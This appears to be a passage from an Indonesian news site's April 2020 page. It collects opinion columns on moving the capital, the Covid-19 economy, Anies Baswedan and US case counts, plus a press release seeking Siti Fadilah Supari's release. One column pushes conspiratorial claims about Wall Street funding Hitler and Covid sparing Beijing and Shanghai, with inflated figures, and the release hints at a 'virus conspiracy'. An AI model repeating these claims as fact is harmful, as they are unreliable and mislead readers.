bersamaan. Pemerintah telah, membisniskan sarana vital negara. Memberi peluang dan keuntungan bisnis oligarkis kepada swasta atau asing. membebani keuangan negara secara jangka panjang. Menggadaikan kedaulatan negara dan martabat bangsa. Ditambah dengan beban utang yang akan meroket, serta target pemerataan dan pengentasan kemiskinan yang tidak efektif dan efisien, maka pembangunan Ibukota Negara baru memang sudah saatnya dibatalkan. Penulis adalah Managing Director IRESS

Korporasi China Berjaya di Ujung Corona?

Ikhlas adalah bagaikan misk yang terjaga dibawah kulit hati. Dimana wanginya akan senantiasa mengingatkan pembawanya. Amal perbuatan ialah jasad, sedang ikhlas ialah ruhnya. Sesungguhnya teluk yang jernih lebih berharga dibandingkan lautan yang kotor, jika engkau tidak bisa ikhlas maka usahlah engkau belelah-lelah. (Ibnul Jauzi Rahimahullah). By Margarito Kamis Jakarta FNN – Rabu (08/04). Ikhlas akan membawa siapapun untuk terus menerus-menerus menjadikan pasrah sebagai karibnya. Pasrah yang menjadi karib ikhlas akan terus-menerus menyerukan pemilkinya menerima semua yang telah diikhtiarkan apa adanya. Tak mengeluh, merintih, apalagi mencaci begini dan begitu atas semua yang mendatanginya. Baik dan buruk, pada alam iklhas dan pasrah, memiliki ketentuan yang pasti dan pasti. Alhasil semua yang terjadi, yang menimpa dunia berlangsung sesuai ketentuan alam abadi. Kala ujian telah ditetapkan, ia pasti datang sesuai ketentuannya. Kala kepergiannya telah ditetapkan, ia pun pergi sesuai ketentuannya. Dimana ketentuan itu? Mungkin di alam azali. Entahlah. Wallahu A’lam Bissawab. Entah merupakan buah keihlasan atau kepasrahan, atau juga hal lain. Misalnya, dunia terus berputar dan peristiwa demi peristiwa silih berganti datang dan pergi. Orang, setidaknya sebagian, membiarkan semua yang pernah terjadi itu begitu saja. Tak ada pemeriksaan, apalagi detail dan cermat. Semua terlihat biasa, biasa dan biasa saja. Mungkin itulah yang tirai, terlepas dari ketebalan lapisan-lapisannya, yang mengakibatkan orang membiarkan sejumlah perstiwa masa lalu berceceran tanpa makna. Di atas meja akal, yang diambil dari peristiwa itu hanyalah yang kasar, yang terlihat. Misalnya, virus Spanyol 1918-1919, yang secara klinis disebut “Virus Flu” itu. Yang disajikan tidak lebih dari jumlah orang mati, cakupan sebaran dan usaha-usaha untuk menemukan antifirusnya. Padahal di tahun-tahun itu, Jerman tiba-tiba saja, tanpa sebab yang jelas, menyerah dari sekutu pada perang dunia pertama. Tentara Jerman di garis depan medan tempur pun kecewa. Mereka merasa telah dihianati, ditikam dari belakang oleh pemerintahnya sendiri. Apalagi pasal-pasal dalam “Perjanjian Versailes” yang diprakasai oleh Woodrow Wilson, Presiden Amerika itu, terlihat oleh rakyat benar-benar sangat mempermalukan mereka. Tentara Jerman menemukan kenyataan, terlepas dari derajat validitasnya, orang-orang yahudi di Jerman dianggap menghinati Jerman. Kenyataan ini melengkapi kekecewaan mereka, sekaligus menyulut kebencian Hitler kepada Yahudi Jerman kala itu. Jerman pun jatuh ke titik terendah dalam berbagai aspek sesudah akhir perang memalukan itu. Mereka dikontrol anggota sekutu, karena perjanjian Versailles. Mereka tak diperbolehkan memiliki persenjataan memadai, termasuk wajib mengurangi produksinya. Jerman juga terperangkap dalam krisis keuangan. Situasi keuangan Jerman tak jauh beda dengan situasi keuangan Amerika. Inflasi melilit ekonomi Amerika di ujung pemerintahan Wilson, 1919. Presiden Harding mengawali penanganannya. Tak tertolong malah terus membesar jadi depresi ekonomi besar tahun 1929-1933. Ia mengajukan Melon Tax Reduction Bill. Ini sebenarnya merupakan gagasan republikan. Gagasan ini berisi skema penyatuan pembuatan kebijakan keuangan pemerintah pusat, unifing federal budget, dan pemotongan upah pekerja. Tetapi keadaan tak tertolong. Takdirpun mengakhiri kekuasaannya lebih cepat dari yang seharusnya. Ia jatuh sakit dan harus berhenti dari jabatannya. Dilanjutkan oleh Calvin Collidge, wakilnya (1923-1929). Tetapi keadaan ekonomi tetap saja tak tertolong. Tahun 1929, ketika Herbert Hoover resmi memangku jabatan sebagai presiden, resesi ekonomi mencengkram Amerika. Hoover, presiden Republikan yang liberal konservatif memiliki visi jelas dalam memetakan persoalan. Presiden ini mengerti sejak 1880 sampai dengan tahun 1920 telah menjadi era baru ekonomi nasional Amerika. Ditandai dengan pemerintah Federal memainkan peran luas menangani kehidupan rakyat. Peran ini belum pernah ada presedennya. Apa bentuknya? Mendukung para pebisnis. Hoover tahu itu. Ia berenang dalam spektrum itu. Menjadi visinya dalam kampanye kepresidenan. Ia meletakan standardisasi industri, memperbaiki ekonomi nasional, memperbesar pasar luar negeri untuk industri-industri Amerika di panggung kampanyenya. Ia jual kepada rakyat di sepanjang perjalanan kampanyenya. Gagasannya dibeli rakyat. Jadilah ia Presiden. Tetapi seperti telah terancang dengan sempurna, begitu Hoover memasuki jabatan itu, terjadi apa yang disebut “stock market crash 1929”. Ini mengawali tenggelamnya Amerika ke dalam krisis ekonomi berat. Pada bulan Desember tahun itu juga, satu juta orang kehilangan pekerjaan. Jadi pengangguran. Hoover bergerak maju. Langkahnya terlihat khas republikan Hamiltonian (Alexander Hamilton). Seperti dicatat Robert Dalec, penulis biografinya, Hoover memperbesar pinjaman kepada The Fed’s. Juga memberikan stimulan ekonomi sekaligus memperbesar belanja pemerintah. Sembilan belas miliyar dollar Hoover belanjakan membangun jalan bebas hambatan, rumah sakit, waterway, dan military base. Alhasil infrastruktur. Hoover melangkah lagi. Kali ini Hoover memainkan kartu legislatifnya. Ia mengajukan “Reconstruction Finance Corporation Bill”. Sembari menanti Bill itu dibahas, Hoover mendekati kongres meminta persetujuan mereka memberi tambahan budget sebesar dua juta dollar untuk menginjeksi ekonomi. Semua langkah ini dicatat dengan teliti oleh Robert Dalec. Lalu dengan nada kritis, Dallec menyatakan “apa bedanya dengan New Deal-nya Franklin D. Rosevelt”? Politik ya politik. Berhenti di situ? Tidak juga. Ia maju lagi dengan mengajukan “Emergency Relief And Construction Bill”. Diterima Kongres dan disahkan menjadi “Emergency Relief and Construction Act 1932”. Maju lagi dengan “The Banking Bill”, yang akhirnya menjadi “The Bangkin Act 1933”. Berakhirkah langkahnya? Tidak. Ia menyodorkan Reconstruction Finance Corporation Bill ke Kongres, dan disetujui menjadi Reconstruction Finance Corporation Act 1933. Semua yang telah dilakukannya ternyata tidak menolong dirinya memenangkan pemilu 1932. Hoover kalah. Dalam pengakuannya kekalahan itu disebabkan Wall Street mengalihkan dukungan ke Franklin D. Rosevelt (FDR). Dan FDR, politisi berhaluan Social Democrat ini menang. Dilantik tanggal 4 Maret 1933, atau dua bulan setelah Hitler dilantik pada tanggal 30 Januari 1933. Hoover yang anti collectivist, dan lebih sebagai voluntarism, menurut Anggela Lanete Smith dari Weyne State University, tidak percaya Jerman dapat membayar kompensasi kepada sekutu sebesar U$ 132 miliar dollar. Jerman terlihat akan kolaps. Amerika menyiapkan program pemulihan. Dimulai program dari Calvin Colidge dengan Dawes Plan 1924. Dilanjutkan dengan Young Plan (1929) pada awal pemerintahan Hoover. Menariknya, menurut Smith program ini justru membesarkan Hitler. Lalu Hoover hendak menghentikan program itu. Hoover mau memoratorium pembayaran hutang dan pinjaman antarpemerintah Eropa, termasuk Jerman dengan Amerika pada tahun 1930. Padahal bank-bank terkemuka Amerika telah member pinjaman kepada pemerintahan lokal German berkisar 50 sampai 75%. Dalam sepuluh tahun setelah perang dunia pertama, Jerman meminjam dari Amerika tidak kurang dari tiga trilyun dollar. J.P Morgan menyediakan pinjaman sebesar antara 100 sampai 200 miliar dollar. Chase dan German Trust di sisi lain menginvestasi modalnya di bidang infrastruktur sebesar dua trilyun dollar. Dawes Plan (1924) dan Young Plan (1929) menurut Antony Sutton dalam The Wall Street and The Rise of Hitler adalah proyek Wall Street. Owen D. Young (Youn Plan) menurut Sutton adalah agen JP Morgan. Hjalmar Schach Presiden Bank Sentral Jerman 1924, di sisi lain menyatakan Owen Young (Young Plan) bertanggung jawab atas kemunculan Hitler. Sutton pada bagian lain menulis, Amerika membangun kartel Jerman. Kartel Jerman terdiri atas Allgemeine Electrizitas Gesellcchaft (A.E.G), German General Electric. Kartel ini terkoneksi dengan Wall Street Syndicate; National City Co ($35.000.000). Kartel Jerman lainnya Vereinigte Stalhwerke – United Steelworkers- terkoneksi dengan Dillon, Red and Co (Wall Street Syndicate) U$ 70.225,000. American I.I Chemichal (I.G. Farben) kartel Jerman terkoneksi dengan National City Co U$ 30.000.000. Charles E. Mitchel, Walter Teagle dan Paul Werburg (The The Fed’s), Edsel B. Ford dan Carl Bosch (Ford Motor Company), H.A Mets dan Paul M. Warburg (Bank of Manhattan), Walter Teagle (Standard Oil of New Jersey) semua koneksi dengan I.G Farben Jerman dan American I.G. Dan I.G Farben memproduksi hampir seluruh material dasar bom yang digunakan militrer Nazi Jerman dalam perang dunia kedua. Paul Warburg adalah saudara kandung Max Warburg, direktur I. G Farben. Sebelumnya bekerja sebagai Bankir di Hamburg. Praktis Paul menjadi Direktur American Farben dan Max menjadi direktur I.G Farben Jerman. I. G. Farben adalah penyedia dana dan pendukung utama Hitler. Terdapat transfer dari I. G. Farben ke Hitler sebesar 400.000 Mark, di luar transfer individual sebesar 200.000, Mark. Praktis 45% biaya kampanye Hitler berasal dari I.G. Farben. Seluruh tindak-tanduk korporasi Wall Street yang menaikan Hitler ke kursi kekuasaan, tak melibatkan Hoover. Bagaimana dengan FD Rosevelt? Setelah FD Rosevelt di kursi kepresidenan, dia mengirimkan Puzi, sohibnya sedari sekolah di Harvard, dan punya koneksi dengan Hitler segera menemuinya. Kepada Puzi Rosevelt berpesan segera memainkan piano, dan pelan-pelan mulai menaikan gas sampai membesar. Ketika membesar segera menghubungi kedutaan. Hoover, dengan seluruh fakta di atas tak mungkin menang pemilu. Dan di atas semua itu, Hitler meraih kekuasaan dan menggelorakan “New Economic Order”. Di sudut Amerika, Rosevelt bergelora dengan “New Deal”. Praktis ada dua “New”. New Jerman dan New Amerika. Dua-duanya “new order”. Lalu, apa relefansinya dengan serangan Corona yang saat ini telah menghancurkan ekonomi dan keuangan sebagian besar negara di dunia? Korporasi telah berteriak minta tolong. Hampir di semua negara, terutama Amerika. Produksi berkurang terus-menerus. Pekerja kehilangan pekerjaan dari hari ke kari. Melonjak tajam. Utang berceceran dimana-mana. Dan seperti biasanya, pemerintah sebagian negara berenang di tengahnya mencari hutang dan hutang. Indonesia, tak terkecuali. World Bank dan IMF, dua simbol new world order, telah menyiapkan skema utang. Namanya bantuan. Termasuk untuk reformasi sistim keuangan yang tak pernah tuntas, dan yang akan terus begitu. Bagaimana dengan utang pembiayaan proyek-proyek besar Indonesia? Darimana saja utang itu? Dari China atau Amerika? Kapan jatuh temponya? Kalau jatuh tempo di tengah kemelaratan, tidakkah tindakan mudah adalah mengubah status asset menjadi equity, untuk bayar utang? Itu namanya hukum leviatan ala Wall Street. Bagaimana dengan korporasi swasta Indonesia? Hebatkah mereka? Perpu Nomor 1 Tahun 2020 yang judulnya begitu panjang, dan isinya bermasalah itu, jelas dalam banyak aspek tipikal Wall Street. Defisit diperlebar, bantuan kepada korporasi disediakan, dan lainnya. Perpu ini bercitarasa Wall Street i. Bandingkan dengan Emergency Relief And Construction Act 1932 di Amerika. Bandingkan dengan Reconstruction Corprate Finance Act 1933 di Amerika. Lihat Bangkin Act 1933 di Amerika. Terakhir lihat juga Emeregency Economic Stabilization Act (EESA) 2008 di Amerika. Wuhan menjadi epicentrum Corona di China, bahkan dunia. Menariknya Beijing dan Shanghai tidak kena. Top atau aneh? London, New York, Washington DC, Madrid, Paris, Berlin, sekadar beberapa contoh, semuanya kena. Beijing dan Shanghai tidak. Hebat sekali. Sialnya rakyat mereka yang mau kembali dari Indonesia ke negaranya menggunakan pesawat Garuda, justru tak bisa. Pesawat Garuda yang hendak menerbangkan mereka ditolak masuk ke China. Akankah Jack Ma, dengan Alibabanya yang telah dan terus menjulang, terutama di Asia datang dan jadi penyelamat korporasi Indonesia? Mungkinkah kapitalis China lainnya yang muncul? Itu soal lain. Itu mudah. Hukum Leviatan ekonomi yang akan bicara. Dunia bakal berubah, total, setelah Corona. Negara miskin yang bodoh akan terus miskin, terus jadi sasaran rentenir dunia. Yang rentenir tetap di posisi itu,sebagai rentenir. Siapa mereka? Korporasi bersakala dunia. Termasuk korporasi yang mengambil rute di sepanjang Belt and Road Iniciative China? Layak dipertimbangkan. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Anies di Pusaran Fitnah

BY Tony Rosyid Jakarta FNN – Rabu (08/04). Pujian dan cacian itu hal biasa. Terutama bagi seorang pemimpin. “Dipuji tidak terbang, dicaci tidak tumbang, “kata Anies Baswedan. Terkadang hal baik dicaci, dan yang buruk diapresiasi. Apalagi kalau sudah melibatkan survei persepsi. Yang baik bisa dibuat buruk, dan yang buruk malah dipuja-puji. Suka-suka yang mensurvei ambil sample responden dan menyajikan hasilnya. Yang lebih tidak wajar, jika seorang pemimpin atau pejabat gemar lapor. Mending lapor ke bini, lapornya ke polisi. Dikit-dikit lapor. Serem. Kritik diawasi, hina dipenjara. Gawat. Ini menunjukkan pemimpin atau pejabat ini belum matang. Gak siap untuk jadi pejabat. Saat ini, pemimpin di Indonesia yang dianggap fenomenal dan paling dinamis dalam pemberitaan, selain Jokowi adalah Anies Rasyid Baswedan. Gubernur DKI ini, tidak saja banjir pujian, tetapi juga tak pernah sepi dari fitnah. Beda fitnah, beda kritik. Kritik itu sesuatu yang inheren dalam demokrasi. Tak ada kritik, tak ada demokrasi. Kalau kritik berbasis pada data dan fakta. Kalimatnya terukur. Tidak terkesan cari-cari kesalahan. Bahasanya mengikuti standar "EYD". Masih sopan, maksudnya. Sementara fitnah itu sebaliknya. Manipulasi data dan bertentangan dengan fakta. Seringkali menggunakan bahasa jalanan. Meski fitnah adalah tindakan tak bermoral, dan bukan bagian dari budaya bangsa yang menganut asas Pancasila, tetapi kehadirannya niscaya. Seorang pemimpin dituntut untuk mampu menghadapi dengan dewasa. Gak sedikit-sedikit lapor polisi. Prinsipnya, apa yang dilakukan pemimpin, tak semua orang suka. Yang nggak suka, ada yang pilih diam. Ada juga yang agresif menyerang. Bahkan fitnah jadi menu harian. Kelompok inilah yang orang sebut sebagai "haters". Haters Anies sebenarnya jumlahnya nggak banyak. Ini bisa dilihat ketika ada aksi demo di Balaikota. Paling 10-30 orang. Saat musim banjir, agak banyak dikit. Kurang lebih 100 orang. Hanya karena haters ini agresif dan dikelola secara "premium", maka cukup berhasil membuat gaduh di medsos. Walaupun begitu, atraksi mereka nampak kurang efektif. Nggak besar pengaruhnya. Meski kerja buzzernya masif. Kenapa? Karena suka menggunakan data palsu dan bertentangan dengan fakta. Ini mudah sekali dipatahkan. Sekali fakta dibuka, kelar. Selama ini, itulah yang terjadi. Terus, dan berulang-ulang polanya. Apalagi dinarasikan dalam bahasa yang tidak simpatik. Gak nyentuh psikologi rakyat. Contoh yang paling gress, ketika "haters Anies" mengungkap anggaran DKI untuk penanganan covid-19. Hanya Rp 130 miliar. Kalah dengan Jawa Barat dengan anggaran Rp 500 miliar, dan Jawa Tengah dengan anggaran Rp 1,4 triliun. Padahal, DKI punya APBD Rp 87,9 triliun. Pagi itu info grafis disebar oleh buzzer. Sorenya harinya Anies klarifikasi. Bahwa anggaran DKI untuk penanganan covid-19 adalah Rp. 3,1 tiliun. Kelar barang itu. Justru menambah poin buat Anies. Beberapa hari berikutnya, diulang lagi. Kali ini hotel bintang lima yang disorot. Sekelompok orang yang mengatasnamakan Aliansi BEM Jakarta menuduh Anies berlebihan dalam melayani tenaga medis. Fasilitas hotel bintang lima bagi dokter dan tenaga medis dianggap nggak tepat. Hanya satu dua hari berselang, sejumlah perguruan tinggi mengaku nama universitasnya dicomot. Juga beredar foto yang oleh publik diduga mirip ketua Aliansi BEM itu bersama kakak pembina. Atraksi-atraksi semacam ini menurut saya tidak cerdas. Menyoal fasilitas tenaga medis dan membully para dokter di tengah para tenaga medis itu sedang merenggang nyawa, bahkan puluhan dokter meninggal saat bekerja, merupakan tindakan konyol. "Para haters" tanpa sadar sesungguhnya telah berhadapan dengan persepsi masyarakat. Bagi masyarakat, dokter-dokter dan para tenaga medis itu adalah pahlawan. Dihujani fitnah dan cacian, Anies tetap cool. Begitulah karakter bawaan Anies. No comment. Kecuali terus bekerja, terukur dan fokus menyelamatkan nyawa warga DKI. Meski harus menempuh langkah tak populer, lalu dibully dan dianggap cari panggung, Anies nampaknya nggak pedulikan itu. Fokus Anies, bagaimana nyawa dokter, tenaga medis, pasien dan rakyat itu terselamatkan. Blessing buat Anies. Karena bullyan kontra fakta justru berbalik dan malah menghadirkan banyak apresiasi publik kepadanya. Langkah-langkah Anies, khususnya dalam menghadapi covid-19, dianggap menunjukkan kelasnya sebagai seorang pemimpin yang seungguhnya. Langkah-langkah Anies sistemik, terukur dan komprehensif. Komunikasinya membumi dan bisa dipahami rakyat. Anies seolah menjadi energi baru bagi rakyat di tengah frustrasi dan kekecewaan terhadap ketidakjelasan arah bangsa ini ke depan. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

MER-C Desak Pemerintah Bebaskan Siti Fadilah Supari untuk Bantu Penanganan Covid-19

Jakarta, FNN - Lembaga Kegawatdaruratan Medis dan Kebencanaan, Medical Emergency Rescue Committee (MER-C) mendesak Pemerintah Indonesia untuk segera membebaskan Mantan Menteri Kesehatan RI periode 2004 - 2009, Siti Fadilah Supari. Mengingat pengalaman Siti Fadilah Supari dalam menghadapi virus Flu Burung di Indonesia tahun 2005 dan keberhasilan beliau dalam membuka wawasan bagi negara negara lain di dunia dalam penanganan virus, sudah selayaknya bangsa Indonesia membebaskan beliau untuk membantu dalam menghadapi Pandemi Covid-19 yang masih banyak menyimpan berbagai misteri. Selain itu pertimbangan kemanusiaan yang kritis mengingat usianya yang sudah memasuki 70 tahun, geriatrik dan mempunyai penyakit kronis. Dengan kondisi rumah tahanan dan usia geriatrik dimana rentan terkena Covid-19, memenjarakan beliau bisa menimbulkan pelanggaran kemanusiaan tentang Elder Abuse, yaitu memberlakukan kelompok usia geriatrik tidak sebagaimana mestinya dan menimbulkan resiko apalagi ditengah pandemi Covid-19. Siti Fadilah Supari, sosok wanita yang cerdas, sigap dan berani sampai saat ini masih mendekam di penjara Rutan Pondok Bambu, Jakarta Timur. Mantan Menteri Kesehatan ini divonis empat tahun penjara oleh majelis hakim Pengadilan Tindak Pidana Korupsi Jakarta, Jumat, 16 Juni 2017 dalam kasus dugaan korupsi alat kesehatan di Kementerian Kesehatan yang pernah dipimpinnya. Sebuah dakwaan yang tidak pernah diakuinya, meski di usianya yang sudah senja dengan berbagai penyakit yang mendera, namun vonis dijalaninya dengan sabar di penjara. Ditengah merebaknya wabah virus corona yang penuh misteri ini, sepak terjang wanita kelahiran 6 November 1949 ini kembali dibutuhkan. Mengingat bagaimana sigap dan beraninya Siti Fadilah Supari sebagai Menkes saat itu mengatasi politik Pandemi Flu Burung dan membongkar ketidakadilan WHO dan AS terkait virus ini. Bahkan kala itu MER-C juga menyatakan dukungannya terhadap keputusan Menkes Siti Fadilah untuk menutup lembaga penelitian USA di Indonesia, yaitu Namru 2. Keahlian dan integritasnya kembali diuji dalam menghadapi Pandemi Flu Babi. Sikap kritis beliau mendapat apresiasi dari berbagai negara lainnya dan dianggap menyelamatkan dunia dari bahaya konspirasi virus dunia. Satu hal yang menjadi prioritasnya adalah kesehatan rakyat. Dia sadar betul bagaimana kesehatan adalah isu yang sangat penting dan berkaitan erat dengan ketahanan nasional suatu bangsa. Inilah yang ia jaga selama diamanahi tanggung jawab sebagai Menteri Kesehatan. Atas dasar pertimbangan di atas, yaitu kemanusiaan dan kontribusi yang bisa diberikan bagi bangsa ini, kami MER-C mendesak Pemerintah Indonesia untuk dapat segera membebaskan Siti Fadilah Supari. Kami berharap di luar penjara, Ibu Siti Fadilah Supari bisa turut menyumbangkan pemikiran dan keahliannya dalam mengatasi wabah virus corona yang tengah mengancam negeri kita tercinta Indonesia dimana angka kasus terus bertambah dari hari ke hari dan korban meninggal terus berjatuhan, termasuk tenaga kesehatan. Sebelum semuanya terlambat, sebelum kasus semakin meluas, kami berharap semua potensi yang dimiliki bangsa ini, termasuk potensi putra putri terbaik bangsa yang mempunyai keahlian di bidang terkait segera dilibatkan untuk bersama-sama bergerak menghadapi dan mengatasi wabah ini. Setelah ikhtiar maksimal, semoga Allah SWT Tuhan Yang Maha Esa melindungi bangsa ini dan semoga wabah ini dapat segera hilang dari bumi Indonesia. (SWS)

Apakah Presiden Bisa Pindahkan Ibukota Negara...?

Sebenarnya semua alasan ketidaklayakan pemindahan ibukota negara tersebut di atas bagus, dan sangat layak dijadikan pertimbangan oleh Presiden Jokowi. Namun masalah sesungguhnya bukan di situ. Karena argumen seperti itu semuanya bisa ditepis dan diterjang dengan alasan bahwa semua argumen tersebut bersifat relatif atau direlatifisir dengan “memaksa”. Bagi mereka, tantangan-tantangan dan rintangan itu bisa dihadapi dengan skenario lain. Inti pokoknya harus pindah saja. Soal alasan, itu belakangan. By Sayuti Asyathri Jakarta FNN – Selasa (07/04). Banyak argumen dikemukakan untuk membatalkan proyek mercusuar pemindahan Ibukota negara. Ada yang melihat dari segi keterbatasan Anggaran Pendapatan dan Belanja Negara (APBN), yang oleh Menkeu Sri Mulyani sudah memberi isyarat kalau APBN 2020 tekor sebesar Rp 853 triliun. Kas negara tekor akibat dampak pandemi virus corona. Selain corona, beban utang negara yang besar telah menarik Indonesia ke tubir kehilangan kedaulatan. Karena utang berbanding lurus dengan pelemahan kedaulatan. Soal kondisi ekonomi Indonesia yang sedang merosot, sampai dengan ada juga alasan kerusakan alam di Kalimantan Timur sebagai akibat penambangan yang tidak bertanggungjawab. Nasib Ibukota baru yang digambarkan seperti “penumpang lusuh” pada lahan sekitar strategis dan fasilitas-fasilitasnya yang telah disiapkan dan dihegemoni investor asing. Tidak terbayangkan nasib kedaulatan Indonesia ke depan seperti apa bila Ibukotanya berada di sebuah lapangan bancaan. Lahan pengeroyokan oleh kekuatan yang asing pada cita cita Indonesia merdeka. Apalagi kini, Indonesia sedang menghadapi krisis besar karena bencana wabah virus corona yang sedang “menerkam masyarakat dunia”. Mana mungkin ada akal sehat mengizinkan adanya bicaraan soal pemindahan Ibukota negara dalam kondisi seperti ini? Kalau ada yang memaksakan juga, maka siapapun orangnya, dipastikan sangat tidak berperasaan dan tidak miliki sense of national humanitarian crisis. Apalagi orang tersebut masih saja mendorong-mendorong soal pemindahan Ibukota negara ini. Sebenarnya semua alasan ketidaklayakan pemindahan ibukota negara tersebut di atas bagus, dan sangat layak dijadikan pertimbangan oleh Presiden Jokowi. Namun masalah sesungguhnya bukan di situ. Karena argumen seperti itu semuanya bisa ditepis dan diterjang dengan alasan bahwa semua argumen tersebut bersifat relatif atau direlatifisir dengan “memaksa”. Bagi mereka, tantangan-tantangan dan rintangan itu bisa dihadapi dengan skenario lain. Inti pokoknya harus pindah saja. Soal alasan, itu belakangan. Namun ada satu alasan yang pasti, dan tidak ada alasan manapun untuk bisa membantahnya adalah bahwa pemindahan Ibukota negara itu tidak dibolehkan karena tidak memiliki alas hukum. Bila tetap dilaksanakan, maka itu tergolong perbuatan inkonstitusional. Sementara Presiden disumpah untuk menjalankan undang-undang. Apabila melanggar undang-undang, bisa diimpeach. Apakah masalah akan selesai bila undang-undangnya dibuat untuk mengatasi hambatan tersebut? Apalagi kalau nanti kalau ekonomi membaik. Sayangnya tidak. Karena selama Pak Jokowi menjadi Presiden, maka tidak boleh memindahkan Ibukota negara. Mengapa? Sederhana saja. Karena yang terhaormat Pak Jokowi tidak menyatakan dalam janjinya sebagai calon Presiden pada waktu Pilpres yang baru lalu. Sementara janji sebagai capres/cawapres dalam visi-misi adalah pengganti arahan pembangunan dalam Garis-garis Besar Haluan Negara (GBHN) yang membatasi Presiden terpilih dalam programnya. Apabila yang terhormat Pak Jokowi melanggar janji tersebut, berarti dianggap Pak Jokowi telah menipu para pemilih dalam kampanye-kampanye Pilpres 2019 lalu. Ingat, bahwa kedudukan Visi-Misi Capres/Cawapres itu diatur oleh undang-undang, dan sifatnya mengikat. Intinya sederhana saja. Masih banyak kerja-kerja lain yang telah dijanjikan. Kerja-kerja itu yang perlu dilaksanakan, terutama menghadapi kondisi krisis sekarang ini. Sementara “Indonesia is not for sale”. Semoga sukses menjalankan tugasnya Pak Presiden. Hati hati dengan masukan yang tidak professional, yang cenderung menjerumuskan. Penulis adalah Politisi dan Pemerhati Bangsa

Seram: Jatuh Tempo Massal Covid-19 di USA, Bagaimana dengan Indonesia?

By Asyari Usman Jakarta, FNN - Pada 6 Maret 2020, total kasus positif Covid-19 di Amerika Serikat (USA) hanya 319 (tiga ratus sembilan belas). Dalam waktu sebulan saja, 6 April 2020, total kasus positif mencapai angka yang sangat fenomenal: 366,112 (tiga ratus enam puluh enam ribu seratus dua belas). Total kematian di negeri “American Dream” ini hanya 15 orang saja pada 6 Maret 2020. Sebulan kemudian, 6 April 2020, jumlah kematian mencapai 10,859. Pertambahan kasus baru per hari pada 6 Maret 2020 hanya 98 orang. Pada 6 April 2020, kasus baru per hari menjadi 29,439. Seram sekali terasa. Begitu cepat, begitu besar angkanya. Bagaikan “jatuh tempo massal”. Ribuan, belasan ribu, atau puluhan ribu, orang serentak positif Corona dalam waktu bersamaan. Lantas, bagaimana prediksi wabah Corona di Amerika Serikat? Apakah grafik terjal itu akan menggila terus? Akankah korban jiwa jumlah besar masih akan berlanjut? Para ilmuwan yang memimpin tim Covid-19 Amerika memperkirakan angka kematian bisa mencapai sekitar antara 100,000 sampai 240,000. Itulah yang dikatakan oleh Dr Anthony Fauci, pakar penyakit menular, dan Dr Deborah Birx yang mengepalai satgas virus Corona pemerintah. Mereka mengatakan itu di Gedung Putih, minggu lalu, ketika menyampaikan prediksi tentang wabah Covid-19 di AS. Angka ini bisa menjadi kenyataan, kata mereka, meskipun saat ini berlangsung jaga jarak, penutupan sekolah, larangan berkumpul, pembatasan transportasi, dan anjuran di rumah saja. Mereka mengatakan, 25% pembawa Corona tidak menampakkan gejala sama sekali. Diperkirakan, ‘asymptomatic’ (tanpa gejala) ini ikut berkontribusi dalam akselerasi penyebaran virus ganas itu. Yakni, penyebaran yang berlangsung ‘senyap’. Banyak yang mengatakan, AS terlalu lengah selama dua bulan ini. Dan memang, Presiden Donald Trump sebelumnya meremehkan ancaman virus Corona. Baru setelah kasus positif melonjak drastis ke angka yang mencengangkan, dia mengakui keseriusan ancaman itu. Trump akhirnya setuju dengan prediksi para pakar epidemiologi bahwa jumlah korban jiwa di AS bisa mencapai 2.2 juta. Hebatnya Trump, dengan menyebutkan angka ini pula dia memuji dirinya telah melakukan langkah yang tepat. Trump berkata, kalau dia tidak melakukan apa-apa, maka akan terekam pemandangan yang mengerikan. Orang mati di dalam pesawat. Orang mati di lobi hotel. Mayat bertebaran di mana-mana. Ini kalimat penutup Trump yang cukup lihai. Kalau dibandingkan dengan kemungkinan korban jiwa yang diperkirakan bisa mencapai 2.2 juta orang, maka potensi kematian 100,000 “adalah jumlah yang sangat rendah”. Yang patut diapresiasi adalah transparansi laporan korban, baik korban positif maupun kematian. Pemerintah AS tidak menyembunyikannya. Semua diungkap ke publik. Dan mereka sangat serius mengumpulkan data korban. Mereka juga tidak main-main dalam pengadaan alkes yang diperlukan untuk merawat pasien Corona dan untuk melindungi pasukan medis. Kalau kita bawa ke Indonesia, bagaimana kira-kira? Entahlah. Sejauh ini, angka-angka yang ada “masih” menempatkan kita di urutan yang cukup jauh di bawah. Tetapi, saya pribadi merasa gelisah. Ada terasa semacam “api dalam sekam”. Bagaikan ada “ticking time bomb” (bom waktu yang sedang berdetak terus). Apa lagi kalau kita tuliskan rangkaian pertanyaan ini. Bom waktu itu terdengar cukup lantang. Sudahkah dilakukan tes massal? Sudahkah cukup APD yang tersedia? Sudahkah dilakukan pendataan ODP, PDP, dan kematian Covid-19 dengan baik dan transparan? Apakah informasi mengenai zona merah sudah jelas dan dipahami oleh publik? Apakah imbauan ‘di rumah saja’ berjalan dengan disiplin yang tinggi? Apakah ada bantuan yang sistemtis dan memadai dari negara untuk menguatkan imbauan ‘stay at home’? Apakah para pejabat tinggi dan tertinggi telah melakukan ‘redirecting’ (pengalihan) dana yang selama ini dialokasi untuk proyek-proyek yang bisa digolongkan tidak penting? Belum lagi habis deret pertanyaan yang menggantung di meja-meja pembuat keputusan. Kita hanya ingin mengingatkan bahwa kelengahan, kelalaian, dan anggap enteng di sejumlah negara lain membuat mereka harus membayar dengan harga yang sangat mahal? Membayar dengan puluhan ribu nyawa. Kecuali para pejabat di negeri ini memang tidak menganggap nyawa rakyatnya berharga. Kalau “setting”-nya begitu, pantaslah semua opsi yang memerlukan dana besar selalu dikesampingkan. Pantaslah kalau para petinggi lebih memikirkan ibukota baru ketimbang ancaman Corona. Dan pantaslah kita berdoa semoga di Indonesia ini tidak terjadi “jatuh tempo massal” positif Covid-19 seperti yang sekarang sedang dialami AS.[] 7 April 2020 (Penulis Wartawan Senior)

Ngebut Omnibus Law Saat Corona, Kepentingan Siapa?

